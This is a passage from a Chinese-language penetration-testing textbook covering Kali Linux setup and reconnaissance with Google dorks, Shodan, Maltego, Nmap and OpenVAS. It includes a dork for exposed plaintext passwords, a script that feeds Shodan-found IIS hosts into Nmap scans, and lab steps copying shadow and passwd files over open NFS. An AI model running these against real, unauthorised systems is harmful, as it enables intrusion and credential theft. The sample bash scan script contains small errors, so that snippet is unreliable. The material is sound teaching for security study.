图 8:Kali Linux 的不同引导选项

完成安装步骤后,您将看到 Kali Linux 已经新安装,如前面的截图所示(图 8)。您现在可以继续进行配置阶段。

使用 Windows 子系统用于 Linux(WSL)安装 Kali Linux

Kali Linux 能够在 Windows 中使用 WSL 和Windows 商店应用本地运行。为了使 Kali 能够运行并安装必要的工具,需要执行以下安装步骤:

  1. 首先,安装 WSL;为此,请按下 Windows 键+r,输入appwiz.cpl,然后单击“确定”。

  2. 选择 Windows 子系统用于 Linux 复选框,如图 9 所示。请注意,一旦安装完成,您的计算机将需要重新启动:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 9:选择 Windows 子系统用于 Linux

  1. 在 Windows 商店中搜索“Kali Linux Windows 商店应用”,然后安装该应用。一旦打开应用程序,它将执行一些初始步骤,例如创建一个新的 root 用户帐户。完成后,您可以继续使用sudo apt-get update命令更新 Kali Linux,如图 10 所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 10:在 WSL 中更新 Kali Linux

  1. 为了查看可用软件包的完整列表,请使用sudo apt-cache search kali-linux命令。您会注意到软件包被分成特定的渗透测试领域,如图 11 所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 11:WSL 中 Kali Linux 软件包的列表

请注意,软件包的大小会有所不同;例如,在撰写本文时,kali-linux-top10软件包的大小为 2.9 GB。您需要确保 Windows 10 上的防病毒软件对 Kali Linux 软件包有排除。软件包的路径是

C:\Users\[username]\AppData\Local\Packages\。另外,请注意,[username]表示您登录的用户。

在 Windows 中使用 Kali Linux 工具的另一种方法是通过Ubuntu Windows Store AppKatoolin等工具。

要这样做,请重复之前提到的 1 到 2 步骤;但是,不要从 Windows Store 安装 Kali Linux 应用程序,而是安装 Ubuntu 应用程序。

应用程序安装完成后,您可以继续以下步骤:

  1. 打开Ubuntu Windows Store App并使用以下命令更新和升级应用程序:
sudo apt-get update

sudo apt-get upgrade
  1. 更新 Ubuntu 后,您需要安装 Python 2.7 版本;可以使用以下命令完成:
sudo apt-get install python
  1. 您还可以使用katoolin等工具,可以使用以下命令进行克隆:
git clone https://github.com/lionsec/katoolin.git && cp katoolin/katoolin.py /usr/bin/katoolin

chmod +x /usr/bin/katoolin
  1. 您可以使用sudo katoolin命令运行Katoolin工具,它将呈现一个菜单,您可以使用该菜单添加 Kali 存储库并安装在类别中列出的各种工具,如图 12所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 12:在 WSL 中安装的 Ubuntu 中的 Katoolin

本书将使用安装在虚拟机或物理主机上的 Kali Linux。本书的范围不涵盖在 WSL 中使用 Kali Linux。

使用 VirtualBox 完成 Kali Linux 的安装

VirtualBox 是一个跨平台的虚拟机监视器;在 Windows 和 macOS 中导入预构建的 Kali Linux 虚拟机是相同的过程。

下载预构建的虚拟机后,它将以.ova格式存在。可以使用以下步骤将其导入 VirtualBox:

  1. 打开 VirtualBox,如果您使用的是 macOS 版本,请点击导入;或者,如果您使用的是 Windows 版本,请点击文件*|*导入。

  2. 导航到您下载预构建虚拟机的位置,并选择.ova文件。然后,点击下一步按钮。

  3. 现在,您将看到虚拟机的设置和存储位置。您可以自定义或保留其默认设置。

  4. 最后,点击导入。

导入完成后,您可以启动 Kali Linux 虚拟机。您可能会收到与 USB 硬件相关的错误,但 VirtualBox 会提到您可以安装什么来解决这个问题。

配置 Kali Linux

在您启动并运行 Kali Linux 之后,您需要执行一些额外的步骤。

如果您手动安装了 Kali Linux,则将提示您为 root 帐户提供用户名和密码。或者,如果您使用预构建的虚拟机,则默认用户名是root,密码是toor。为了更改密码,您可以使用passwd实用程序,如图 13所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 13:更改 Kali Linux 中的 root 密码

Kali Linux 中的大多数工具需要 root 级别的权限才能运行。然而,始终使用 root 级别帐户存在风险;例如,考虑您正在浏览互联网以寻找漏洞,偶然着陆在一个恶意网站上。这个恶意网站可能包含一个将远程 shell 放置到 Kali Linux 上的 Dropper。由于使用的帐户是 root 级别帐户,攻击者将在您的系统上拥有具有 root 权限的远程 shell。

为了提供额外的安全层,您需要创建一个没有 root 级别权限的普通帐户。可以通过执行以下步骤来完成:

  1. 使用adduser [username]命令。

  2. 按照提示完成用户详细信息,如图 14所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 14:添加非 root 用户

如果您没有将用户添加到正确的组中,那么新创建的用户将无法提升到根级别权限,如图 15所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 15:用户不在 sudo 组中

  1. 为了将用户添加到正确的组中,您需要输入以下命令:
usermod -a -G sudo [username]

这里,-a表示追加,-G指定组。

  1. 一旦您将用户添加到sudo组中,您需要允许用户利用bash shell。这可以通过以下命令完成:
chsh -s /bin/bash [username]

chsh命令用于更改登录 shell,而-s开关用于指定 shell。

一旦用户被添加到sudo组并更改了登录 shell,用户就可以被提升到根级别权限,如下面的屏幕截图所示(图 16):

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 16:用户现在被提升到根级别权限

接下来,我们需要确保能够更新 Kali Linux。我们需要检查的第一件事是sources.list文件;这个文件可以在/etc/apt/sources.list找到。

有一些存储库可以使用;Kali Linux 网站上定义的标准存储库如下:

deb http://http.kali.org/kali kali-rolling main non-free contrib

Kali Linux 在他们的网站上列出了他们的官方存储库,可以在这里找到:

docs.kali.org/general-use/kali-linux-sources-list-repositories

您可以通过运行more /etc/apt/source.listcat /etc/apt/sources.list命令来确认您的存储库没有被注释掉,如下面的屏幕截图所示(图 17):

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 17:列出 Kali Linux 中的 sources.list 文件

如果您需要编辑sources.list文件,那么您可以使用 Leafpad、Nano 或您喜欢的文本编辑器来进行编辑。

此外,您需要在 Kali Linux 上执行更新,以确保您拥有最新版本的工具和系统文件。

执行更新的命令是apt update,执行升级的命令是apt upgrade****这些命令可以一起使用以节省时间;组合命令是apt update && apt upgrade。此外,您还可以使用apt update && apt full-upgrade来包括分发升级,如下面的屏幕截图所示(图 18):

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 18:更新和升级 Kali Linux

默认情况下,Kali Linux 启动时不会自动启动某些服务。Kali Linux 包含诸如sshhttp等服务。如果这些服务设置为自动启动,它们将暴露端口,这将导致 Kali Linux 暴露和脆弱。

如果您想要启用特定服务,您需要使用systemctl start [service name]。例如,如果您想要启用ssh服务器,您可以使用systemctl命令启动ssh。另一方面,如果您希望它在启动时自动启动,您可以使用systemctl命令启用ssh

下面的屏幕截图(图 19)显示ssh服务默认情况下未启动,并演示了如何启用它:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 19:启用 ssh 服务

现在我们已经安装并更新了 Kali Linux,让我们继续学习一些基本命令。

Kali Linux 中的基本命令

Kali Linux 中有一些非常有用的基本命令。其中一些有用的基本命令包括locatechmodfindlscdpwd

  • locate:我经常使用这个命令;它可以用来轻松定位特定文件。在使用locate命令之前,您需要使用updatedb执行数据库更新,如下面的屏幕截图所示(图 20):

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 20:使用 locate 命令

  • chmod:如果您需要控制文件的权限,这个命令很有用。有些工具在下载时需要您修改权限,以便能够执行它们。例如,chmod 600设置文件,只有所有者可以读取和写入,如图 21所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 21:使用 chmod 命令

  • find:这个命令是比locate命令更强烈的搜索工具;在这里,find搜索任何给定的路径,如图 22所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 22:使用 find 命令

  • ls:这个命令用于列出当前目录的内容。使用-a开关将显示隐藏的文件和文件夹。

  • cd:这个命令用于更改当前工作目录。它也被称为chdir命令。

  • pwd:该命令打印工作目录,简单地显示您当前工作的目录名称。

所有这些列出的命令都是让您熟悉 Kali Linux 核心功能的良好起点。如果您正在寻找完整的命令 A-Z 列表,可以很容易地使用您喜欢的搜索引擎找到。

Kali Linux 中的脚本编写

Kali Linux 相对冗长——您可以利用 bash 脚本创建复杂的脚本,然后用于渗透测试。

执行Nmap扫描的示例脚本如下:

read -p "Target IP/Range: " $targetIP
echo "$targetIP"
Nmap -sS -O -v "$targetIP"

在这个脚本中,我们告诉系统打印出read -p "目标 IP/范围:文本,我们将其绑定到$targetIP变量。在下一行,我们使用echo命令显示 IP 范围,作为参数传递。在最后一行,我们执行一个简单的Nmap扫描,使用-sS开关,执行 TCP SYN 端口扫描;-O执行远程操作系统检测;和-v,增加了详细级别,如图 23所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 23:一个示例 Nmap 脚本

在本书的过程中,我们将探讨其他脚本(例如,在第三章中,执行信息收集,使用脚本搜索 Shodan 等)。随着您在渗透测试旅程中的进展,您可能会开发出自己有用的脚本列表。

Kali Linux 的基本工具

Kali Linux 包含数百个用于渗透测试、取证等的工具。浏览内置工具以及互联网上可用的其他工具可能是一项具有挑战性和压倒性的任务。

在本节中,我们将讨论您可能经常使用的基本工具。随着您在本书中的进展,您将了解到其他内置或需要下载的工具。以下列表只是冰山一角,您可以期待在整本书中看到更多这样的工具。

Nmap

Nmap 已经存在多年了;它是最常用的网络映射工具之一,而且是免费的。此外,它有命令行和图形版本。图形版本称为 Zenmap。Nmap 的主要特点如下:

  • 主机发现:这对于检测网络中的主机很有用

  • 操作系统检测:这可用于确定目标设备的操作系统

  • 应用程序版本检测:这提供了应用程序版本和目标设备名称的见解

  • 端口扫描:这允许您枚举哪些端口对主机是暴露的

  • 脚本编写:这利用了Nmap 脚本引擎NSE),允许您编写自定义脚本,提供在使用 Nmap 时的速度和效率

有许多关于 Nmap 的作弊表可以在互联网上找到。例如,可以在pen-testing.sans.org/blog/2013/10/08/nmap-cheat-sheet-1-0/找到。

在第三章 执行信息收集中,我们将更深入地使用 Nmap,并使用其一些功能,如 NSE。

Aircrack-ng

Aircrack-ng 是一个无线安全套件,其中包含数据包分析器、WPA 和 WPA2 审计工具等。Aircrack-ng 的主要特点如下:

  • 有线等效隐私WEP)和Wi-Fi 保护访问WPA)密码解密

  • 数据包注入

  • 支持 WPA 和 WPA2-PSK 密码解密

  • 将捕获的数据导出到文件进行进一步处理

  • 重放攻击、去认证等等

Aircrack-ng 将在第九章 开始无线攻击中更详细地使用和解释。

John the Ripper(JTR)和 Hydra

JTR 是一个密码学工具,允许您对密码进行暴力破解攻击。JTR 支持诸如 SHA-1、DES、Windows 的 LM/NTLM 哈希等众多加密算法。JTR 的一些主要特点如下:

  • 它执行字典攻击和暴力破解能力

  • 它有能力作为 cron 作业运行

  • 它提供了自定义的暴力破解规则和字典攻击列表

Hydra,通常与 JTR 一起使用,支持广泛的网络协议。Hydra 是一个在线密码破解器,而 JTR 是一个离线密码破解器。Hydra 的一些主要特点如下:

  • 它支持广泛的协议

  • 它执行字典攻击和暴力破解能力

  • 它有能力添加模块以扩展功能

在第六章 理解密码攻击中,我们将开始使用 JTR 和 Hydra 进行密码攻击。

SET

SET 提供了多种方式让您进行社会工程攻击。它基于 Python,是开源的。SET 能够进行的一些攻击包括 WiFi AP 攻击、基于电子邮件的攻击、基于 Web 的攻击、基于短信的攻击,并涉及创建有效载荷。

SET 能够与第三方模块集成,支持 PowerShell 攻击向量,生成钓鱼攻击等等。

Burp Suite

Burp Suite 用于 Web 应用程序渗透测试;它是一个强大的工具,可以用于覆盖 Web 应用程序测试的各个方面。Burp Suite 的一些主要特点包括以下内容:

  • 拦截代理:这用于检查和修改浏览器向目标 Web 应用程序发出的请求和响应

  • 蜘蛛:这可以用来列出 Web 服务器上的所有目录

  • 入侵者:这用于创建和执行定制的攻击

  • 重复者:这用于重放请求

Kali Linux 包含大量有用的工具,我们在这里介绍的只是冰山一角。从第三章 执行信息收集开始,我们将在 Kali Linux 中使用更多的工具。

总结

在本章中,我们看了我们选择的渗透测试平台,即 Kali Linux。我们探讨了安装、配置和初始设置。然后我们开始使用基本的 bash 脚本和常用命令。最后,我们看了一些包含在 Kali Linux 中的基本工具。

您现在有能力从头开始安装 Kali Linux,知道从哪里下载预构建的虚拟机,并且已经学会了如何在 WSL 中安装 Kali Linux。除此之外,您还学会了如何执行 Kali Linux 的初始配置,如更新、升级和添加新用户账户。我们还探讨了如何在 bash 环境中编译基本脚本。您现在应该对一些基本命令及其用途有了很好的理解,以及 Kali Linux 中一些常见工具及其主要特性。

在第三章中,执行信息收集,我们将探讨不同类型的信息收集和您可以使用的工具来执行此操作。我们将首先使用 Kali Linux 中的工具来执行各种类型的信息收集。

问题

  1. 为什么 Kali Linux 是渗透测试人员首选的发行版之一?

  2. Kali Linux 有哪些安装选项?

  3. 用于更新 Kali Linux 的命令是什么?

  4. 如何在 Kali 中启动特定服务?

  5. 至少列举三种 Kali 中的基本工具。

第二部分:利用

在本节中,您将开始积极使用 Kali Linux 中的各种工具。您将学习如何执行跨越渗透测试各个阶段的多项任务。这里的目标是利用目标,因此我们将使用社会工程、Metasploit 等攻击进行工作。我们将在这里涵盖多种技术,如无线网络和 Web 应用程序。

本节将涵盖以下章节:

  • 第三章,执行信息收集

  • 第四章,精通社会工程

  • 第五章,深入了解 Metasploit 框架

  • 第六章,理解密码攻击

  • 第七章,使用 Burp Suite

  • 第八章,攻击 Web 应用程序

  • 第九章,开始无线攻击

第三章:执行信息收集

收集关于目标的信息的技能是任何渗透测试人员都应该具备的重要技能。

被动信息收集和主动信息收集之间存在很大的区别。被动信息收集利用公开可用的信息。主动信息收集涉及与目标系统的直接交互。在特定国家的法律中,主动信息收集越过了界限,因为一些国家认为未经许可进行任何类型的渗透测试是非法的——这就是你的“免于监禁”(如第一章,渗透测试简介中讨论的)的重要性。在进行任何主动信息收集之前,获得正确的授权是非常重要的。

你收集的关于目标的信息将被用来规划你的攻击。在这个阶段,你将寻找任何可能暴露目标信息的东西。例如,他们的公共服务器是否暴露了已知的易受攻击的端口?是否有任何文件或信息(比如社交媒体帖子)在互联网上包含敏感信息?当你建立你的信息库时,你可以开始威胁建模,并寻找可以在你的攻击计划中使用的漏洞。

随着你在本章的学习过程中,你将了解以下主题:

  • 被动信息收集

  • 主动信息收集

  • 漏洞扫描

  • 已知的易受攻击的服务

  • 捕获流量

技术要求

本章适用以下技术要求:

  • Kali Linux 2019.1

  • Metasploitable 2 和 3

被动信息收集

被动信息收集通常被称为开源情报OSINT)。当你进行被动信息收集时,主要目的是在不引起目标注意的情况下尽可能多地收集有关目标的信息。在被动信息收集阶段,你将利用使用多种工具和第三方数据库发布的公开信息。你会惊讶于你可以从公开资源中获得多少信息。

常见的被动信息收集技术如下:

  • 调查 DNS 记录以查找邮件服务器详细信息、子域等

  • 在搜索引擎上使用精心设计的搜索来发现任何信息,比如文件

  • 发现互联网连接的设备

  • 使用工具获取信息,比如电子邮件地址

OSINT 框架旨在从免费可用的资源中收集信息。我鼓励你查看一个很好的在线资源,如下:osintframework.com

让我们通过使用充满信息的东西——互联网来进行一些信息收集。

使用互联网

在收集信息时,你的主要工具之一将是互联网。互联网充斥着信息。社交媒体、博客、消息服务等都是人们日常使用的常见媒介。员工可能会发布关于他们组织的信息,这对他们来说可能毫无意义,但对攻击者来说,这可能是一个金矿。

谷歌 dork

谷歌 dork(也称为谷歌黑客)实际上是一个特别设计的搜索字符串,返回的信息在目标网站上并不容易获得。它通过利用高级搜索运算符来实现这一点。

使用谷歌 dork 是在目标上执行信息收集的一个很好的方法。你可以返回诸如用户名和密码、敏感信息、登录门户等数据。

谷歌内的搜索运算符可以用来查询特定信息。此类搜索运算符的示例如下:

  • site:提供了你定义的网站特定的 URL 输出。

  • inurl:使用此查询,您可以定义一个特定的字符串,结果将返回包含该字符串的网站。

  • filetype:在这里,您可以定义您要查找的特定文件类型。例如,您可以指定 PDF、XLS、DOC 或任何其他您想要的文件扩展名。

搜索运算符可以一起使用进行巧妙的搜索。例如,在microsoft.com上查找具有.doc扩展名的文件时,您可以使用Google.com中的搜索查询filetype:doc site:microsoft.com来实现这一点。

Exploit-DB 存放着 Google Hacking 数据库,如下截图所示(图 1)。在这里,您将找到一个不断更新的大量 Google dorks:

Exploit-DB 上 Google Hacking 数据库的确切位置如下:www.exploit-db.com/google-hacking-database

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 1:在 exploit-db.com 上列出的 Google Hacking 数据库

您会注意到有多个类别,您可以在其中找到各种 Google dorks。让我们使用其中一个 dork 进行信息收集:

intext:password "Login Info" filetype:txt

谷歌的结果显示了有多少网站的密码以明文形式暴露,如图 2所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 2:使用 Google Dork 暴露的密码

在收集有关目标的信息时,您可以利用在 Google 中精心设计的搜索查询来发现可用的信息。

Shodan

Shodan 不是您平均的搜索引擎。它经常被称为黑客的搜索引擎。在其网站上,Shodan 被称为互联设备的世界第一搜索引擎。Shodan 可以通过www.shodan.io访问,如图 3所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 3:https://www.shodan.io 的登录页面

Shodan 有什么独特之处?谷歌和必应等搜索引擎索引网站,但 Shodan 索引一切,如网络摄像头、数据库服务器、医疗设备、路由器等等。任何连接到互联网的东西都被 Shodan 索引。

正如 Shodan 的创始人 John Matherly 在他的书Shodan 完全指南中所定义的,Shodan 的算法很简单。

  1. 创建一个随机的 IPv4 地址

  2. 查看 Shodan 了解的端口列表并选择一个随机端口

  3. 使用步骤 1 生成的 IPv4 地址和步骤 2 生成的端口,执行连接并抓取横幅

  4. 重复步骤 1

这个算法不仅仅是爬取网站,它找到一切并对其进行索引。让我们看一下可以使用 Shodan 运行的一些查询。

Shodan 脚本

正如我们在第二章中学到的,使用 Kali Linux 入门,在 Kali Linux 中,您可以使用脚本。让我们看一下可以与 Shodan 一起使用的脚本。

您应该做的第一件事是在 Shodan 注册一个帐户。这可以通过直接导航到account.shodan.io/register来完成。创建帐户后,导航到我的帐户并获取您的API 密钥。保留 API 密钥,因为您将在脚本中使用它。

从您的 Kali Linux 机器上,您需要在开始编写脚本之前执行一些任务:

  1. 确保您正在运行最新的更新和升级,并且已安装python 2.7。运行以下命令将确保您满足此要求:
sudo apt-get update && sudo apt-get install python2.7
  1. 我们将利用pip命令来安装所需的shodan文件。使用以下命令完成此操作:
sudo pip install shodan

安装了所有要求后,您可以创建一个执行您想要执行的任何搜索的脚本。请注意,对于所有利用 Shodan 的查询,您需要使用您的API 密钥。您可以用您的实际API 密钥替换文本"insert your API key here"。我们将创建一个脚本,允许我们对目标进行信息收集。通过使用下面的示例脚本,我们可以利用 Shodan 使用api.search查询来获取结果。

  1. 我们将使用nano shodan-iis.py命令和以下代码创建一个新的 Python 脚本:
import shodan
SHODAN_API_KEY = "insert your API key here"
api = shodan.Shodan(SHODAN_API_KEY)
# Wrap the request in a try/ except block to catch errors
try:
        # Search Shodan
        results = api.search('IIS')

        # Show the results
        print('Results found: {}'.format(results['total']))
        for result in results['matches']:
                print('IP: {}'.format(result['ip_str']))
                print(result['data'])
                print('')
except shodan.APIError, e:
        print('Error: {}'.format(e))

要在 nano 中保存文件,您可以使用Ctrl + O,然后使用Ctrl + X退出。文件保存后,我们可以使用python shodan-iis.py命令运行它。

请注意,我的搜索不针对任何特定国家,我只是在搜索 IIS 服务器:

如果您购买了 Shodan 的订阅,您可以在 API 查询中使用更多的搜索运算符。免费版本限制您进行基本搜索,只能看到 2 页的结果。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 4:shodan-iis 脚本的输出

在上述输出(图 4)中,我们有许多结果。现在,我们可以过滤结果,以便只有 IP 地址。使用这些 IP 地址,我们可以利用一个简单的 Nmap 脚本来对 IP 地址进行扫描。

  1. 修改脚本,以便只显示 IP 地址。为此,我们需要从print('IP: {}'.format(result['ip_str']))行中删除IP,并删除print(result['data'])print('')行。新代码应如下所示:
import shodan
SHODAN_API_KEY = "insert your API key here"
api = shodan.Shodan(SHODAN_API_KEY)
# Wrap the request in a try/ except block to catch errors
try:
        # Search Shodan
        results = api.search('IIS')

        # Show the results
        print('Results found: {}'.format(results['total']))
        for result in results['matches']:
                print(' {}'.format(result['ip_str']))
except shodan.APIError, e:
        print('Error: {}'.format(e))

请注意,我们现在只有 IP 地址。使用这个,我们可以将输出导入到一个文本文件中,使用python shodan-iis.py >> shodan-iis.txt命令,如图 5所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 5:shodan-iis 脚本的输出,仅过滤 IP 地址。

现在我们有了 IP 地址,我们可以创建一个简单的 bash 脚本来对它们进行 Nmap 扫描。

  1. 通过输入nano shodan-nmap-iis.sh命令创建一个简单的 bash 脚本。在 nano 中,输入以下代码:
#!/bin/bash 
cat shodan-iis.txt | while read line
do
nmap -sS -sV $line
done

保存脚本,然后更改权限以使其能够使用chmod +x shodan-nmap-iis.sh命令运行。然后,使用./shodan-nmap-iis.sh命令运行脚本。

在上面的代码中,我们从 crunchbang (#!)开始,并定义了我们将在其中运行脚本的 shell。然后,我们定义了源文件。当脚本读取每一行时,它会执行 Nmap TCP syn 扫描(-sS),以及对端口的服务和版本检测(-sV)。结果如图 6所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 6:bash 脚本的结果

Shodan 确实是黑客的搜索引擎。可以获取任何类型的互联网连接设备的大量信息。

使用 Kali Linux

Kali Linux 有许多内置工具,可以用于被动和主动信息收集。在这里,我们将看一些可以用于被动信息收集的工具。

Maltego

Maltego 是一个使用 OSINT 的好工具。Maltego 能够可视化有关目标的信息是如何连接的。Maltego 有免费和付费版本。在本书中,我们将利用免费版本。Maltego 也预装在 Kali Linux 中,所以不需要安装它。您会注意到,即使我们使用免费版本,它也能够为您的目标提供大量信息。

Maltego 使用公开可用的信息来可视化连接和信息。在对公共目标进行分析时,不应该有法律影响,但请确保您检查您当地特定国家的法律。

让我们开始运行 Maltego。要启动 Maltego,在 Kali 终端中输入maltego。在首次启动 Maltego 时,您需要选择要使用的版本。免费版本名为Maltego CE。注册帐户并登录后,您将看到 Maltego 的启动屏幕。

Maltego 使用变换,允许您通过插入各种网站(如 Shodan、VirusTotal 和 Threatminer)获得更丰富的结果。您会注意到变换中心有许多附加功能,可以增强您的结果,如图 7所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 7:在 Maltego 中的变换列表

在 Maltego 中,我们有运行机器的选项。将机器视为运行一组预定义的带有各种配置的变换的脚本或宏。使用机器可以快速启动信息收集。要运行机器,您需要单击运行机器,并选择所需的机器。在我们的示例中,我们将运行 Footprint L3 机器,该机器在指定的域上执行了一个强烈的足迹,如图 8所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 8:在 Maltego 中运行机器

扫描完成后,您将获得大量信息。在此示例中,我对我的个人域名进行了信息收集扫描。Maltego 能够捕捉到托管在我的托管公司共享 DNS 上的其他域,我的域的网站,共享的公共 IP,MX 记录等,如图 9所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 9:Maltego 收集的信息

您会注意到图表非常大。出于说明目的,我已经放大了与我的域相关的数据。您可以在自己的个人域上执行此测试,并观察 Maltego 呈现的结果。

Maltego 对信息收集非常有用。当您使用额外的变换时,它将允许您获取有关目标的大量信息。

主动信息收集

主动信息收集是指我们开始与系统进行交互,以便收集更多信息。在主动信息收集期间,有可能触发警报,从而警告目标,因此,根据计划的攻击类型,您需要谨慎行事。

一些渗透测试有意触发警报,以测试警报、日志甚至现有对策的响应时间的有效性。

Nmap

网络映射器Nmap)是一种允许您进行网络发现和安全审计的工具。它仅在命令行中可用,并且有一个名为Zenmap的图形版本。Nmap 能够跨多个平台工作,如 macOS、Windows 和 Linux。Nmap 非常强大,不仅可以检测开放端口,还可以检测目标上运行的操作系统和服务,Kali Linux 默认包含 Nmap。Nmap 可用于执行以下操作:

  • 网络发现:允许您检测目标网络上的任何活动主机

  • 端口发现:允许检测开放端口

  • 服务发现:提供检测与特定端口相关的软件版本的能力

  • 操作系统发现:提供正在运行的操作系统和版本的信息

  • 漏洞扫描:提供使用脚本检测漏洞的能力

Nmap 有许多扫描选项可供使用。以下是一些常见的扫描:

  • -sS:这是一个 TCP SYN 扫描。这种扫描是最常用的扫描类型之一,因为它通过不完成 TCP 连接来提供隐蔽性。

  • -sT:这是一个 TCP 连接扫描。这种扫描对目标端口进行完整连接,可能会被目标检测到。

  • -sU:这执行了对 UDP 协议的扫描。使用这种扫描,您可以发现与 DHCP、DNS、SNMP 等相关的端口。

  • -p:定义特定的端口或端口范围。范围用破折号-分隔。如果不指定端口或范围,扫描将扫描所有的 65,535 个端口。

  • -sC:使用默认的脚本集执行扫描。

  • -sV:通过引用 Nmap 服务数据库中的知名服务,执行版本检测。一旦引用完成,Nmap 就能够显示在端口上运行的服务。尽管这种链接非常准确,但您可能会发现管理员将不同的应用程序链接到常用端口的情况。

  • -O:通过发送一些精心制作的数据包(如 TCP 采样、窗口检查大小和 IP 选项)并将它们与nmap-os-db进行比较,执行操作系统检测。一旦匹配,Nmap 将显示目标的操作系统。

  • –script:使用逗号分隔的列表来定义脚本,用于不同的类别、名称和目录。例如,--script "http-*"将加载处理 http 的每个脚本。--script "default,safe"将加载defaultsafe类别中的脚本。

SANS 目前有一份很好的 Nmap 备忘单供您参考。它位于这里:blogs.sans.org/pen-testing/files/2013/10/NmapCheatSheetv1.1.pdf

Nmap 最初用于端口扫描,但该工具已经发展到可以执行漏洞扫描。利用Nmap 脚本引擎NSE)允许您编写自己的脚本,并使用免费提供的脚本。在 Kali Linux 中,可以在/usr/share/nmap/scripts位置找到许多脚本。脚本有各种类别,如信息收集、漏洞扫描、暴力破解等。要查看当前在 Kali Linux 中可用的脚本的完整列表,可以在 Kali Linux 中的终端窗口中运行ls /usr/share/nmap/scripts命令。或者,您可以使用您在上一章学到的locate命令:locate *.nse

如果您不确定脚本的作用,可以使用nmap -script-help [script name]命令,如图 10所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 10:Nmap 脚本帮助

让我们对 Metasploitable 2 虚拟机执行一些扫描。确保您的 Kali Linux 和 Metasploitable 2 虚拟机都在同一个虚拟网络上:

  1. 我们将使用 Kali Linux 终端窗口中的netdiscover命令进行一些网络发现。过一段时间,您的 Metasploitable 2 IP 地址将被显示出来。

  2. 我们将使用nmap -sS [ip address]命令对 Metasploitable 2 虚拟机进行基本的 TCP SYN 扫描。扫描完成后,我们将看到所有开放端口的列表,如图 11所示。在输出中,我们看到了当前的开放端口列表。但让我们结合一些更多的参数来获得更丰富的结果:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 11:Nmap TCP SYN 扫描

请注意,Metasploitable 2 上的nfs端口2049/TCP 是开放的。使用文件浏览器,您可以导航到您的 Metasploitable 2 虚拟机的nfs://[IP]。您将可以在没有身份验证的情况下访问文件系统。您可以利用这个漏洞并浏览到/etc/,并将shadowpasswd文件复制到您的 Kali Linux。您将在第六章中使用这些文件,理解密码攻击

  1. 使用nmap -sS -sV -O -sU [IP 地址]命令,我们能够获得更多信息的结果。您会注意到,我们现在可以看到与TCPUDP端口号相关的服务版本,以及操作系统的信息,如图 12所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 12:Nmap 扫描结合各种扫描选项

  1. 由于这个版本的 Metasploitable 正在运行 Apache 服务器,让我们利用一个脚本为我们提供更多信息。使用nmap --script http-enum.nse [IP 地址]命令,我们能够检测与开放的 HTTP 端口相关的信息,如图 13所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 13:Nmap 在终端中显示机器的开放端口

您可以使用第 3 步中的开关对 Metasploitable 3 系统执行 Nmap 扫描,但是您需要添加-oX,将输出导出到一个.xml文件中。在第五章中,深入 Metasploit 框架,您将使用这个。

通过对 Nmap 有很好的理解,您在进行渗透测试时可以获益良多。确保您在实验室内进行了各种扫描的练习,以便您对输出和如何在特定情况下使用不同的扫描有很好的理解。

漏洞扫描

一旦您收集了必要的信息,就是时候开始对现有的漏洞进行一些额外的研究了。漏洞扫描使用诸如 Nessus 和 OpenVAS 之类的软件。通常,漏洞扫描器将具有与特定漏洞相关的签名。一旦扫描器运行并完成,您将收到一份报告,显示与特定系统相关的所有漏洞。漏洞扫描器只能检测已知的漏洞;任何未知的漏洞都不会被漏洞扫描器检测到。漏洞扫描器在您的渗透测试工具包中至关重要。它们经常会暴露您可能忽视的漏洞。

让我们看看一些您可以在渗透测试中使用的漏洞扫描器。

OpenVAS

OpenVAS 是一个开源的漏洞扫描器,有免费和付费版本。OpenVAS 的目标是成为一个集成各种内置测试的全能漏洞扫描器。截至 2019 年 1 月,OpenVAS 包含超过 50,000 个网络漏洞测试(NVTS),并且不断增长。Kali Linux 默认未安装 OpenVAS,因此您需要安装它。要安装 OpenVAS,您需要按照以下步骤进行:

  1. 从 Kali Linux 终端窗口,使用apt-get install openvas命令下载 OpenVAS。这将连接到 OpenVAS 存储库并下载所需的文件。

  2. 下载完成后,是时候使用openvas-setup命令安装 OpenVAS 了。这将开始 OpenVAS 的安装过程并下载 NVT feeds。安装完成后,最后会显示一个系统生成的密码。请注意这一点,因为您需要用它登录 OpenVAS 并将密码更改为您想要的内容,如图 14所示:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 14:OpenVAS 安装完成,屏幕上显示登录详细信息

如果您忘记了 OpenVAS 的用户名和密码,可以使用以下命令更改它们:

openvasmd –user=[用户名]–new-password=[密码]

因此,例如,您可以使用openvasmd –user=admin –new-password=Sup3rS3cretPa55w0rd

